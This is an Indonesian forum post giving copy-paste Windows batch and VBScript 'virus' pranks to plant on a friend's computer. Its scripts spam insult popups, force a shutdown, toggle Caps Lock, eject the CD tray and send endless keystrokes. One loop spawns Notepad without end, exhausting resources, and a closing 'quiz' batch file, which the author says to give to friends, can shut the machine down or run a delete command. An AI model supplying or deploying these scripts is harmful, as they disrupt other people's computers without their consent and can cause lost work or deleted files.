Jahilin Virus Ke Komputer Teman

Trik ini bisa kita pakai, untuk menjahili computer seseorang om. Yang harus agan siapin adalah Program Notepad. Dan copy script di bawah ke dalam notepad.

spoiler for '1.message yang nongol melulu': 

@ECHO off
:Begin
msg * muka agan jelek
msg * ngaca dulu gih
msg * hayo lo om,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar
GOTO BEGIN
save namafile.BAT

spoiler for '2.bikin shutdown+message': 

@echo off
msg * apaan sih lo
shutdown -s -c "Error! muka agan standar abis"
save namafile.BAT

spoiler for '3.Mainin Caps Lock button': 

Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
loop
save namafile.vbs

spoiler for '4.buka tutup CD/DVD': 

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

save namafile.vbs

5.bikin vbscript nongol melulu
Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

save namafile.vbs

spoiler for '6.tekan tombol backspace melulu': 

MsgBox "kembali ke menu sebelumnya"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop

save namafile.vbs

spoiler for '7.otomatis ngetik "agan jelek banget sih" di notepad/word': 

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "agan jelek banget sih!!!"
loop

save namafile.vbs

spoiler for '8.buka notepad trus menerus': 

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

save namafile.BAT

spoiler for '9.otomatis buka notepad lalu ngetik apa yg agan mau': 

WScript.Sleep 1800
WScript.Sleep 100
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 10
WshShell.AppActivate "Notepad"
WScript.Sleep 50
WshShell.SendKeys "a"
WScript.Sleep 50
WshShell.SendKeys "om "
WScript.Sleep 50
WshShell.SendKeys "ma"
WScript.Sleep 50
WshShell.SendKeys "ho"
WScript.Sleep 50
WshShell.SendKeys " ba"
WScript.Sleep 50
WshShell.SendKeys "ng"
WScript.Sleep 50
WshShell.SendKeys "et"
WScript.Sleep 50
WshShell.SendKeys " d"
WScript.Sleep 50
WshShell.SendKeys "e"
WScript.Sleep 50
WshShell.SendKeys " h"
WScript.Sleep 50
WshShell.SendKeys "!"
WScript.Sleep 50
WshShell.SendKeys "!! "

save namafile.vbs

spoiler for 'scrip tambahan': 

@echo off
title quiz hari ini
:menu
cls
echo jika agan kena virus apa yang agan lakukan
pause
echo pilih yang mana:
echo 1. matiin computer
echo 2. format aja
echo 3. bingung ahh
set input=nothing
set /p input=Choice:
if %input%==1 shutdown -s -t 30
if %input%==2 del c:\xxx
if %input%==3 @ECHO off
msg * muka agan jelek sih
msg * ngaca dulu gih
msg * hayo lo om,cpu ente ane acak2
msg * ud install ulang aja
msg * biar masalah nya kelar, hihihi
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

nah script diatas save jadi quiz.bat kasih ke temen..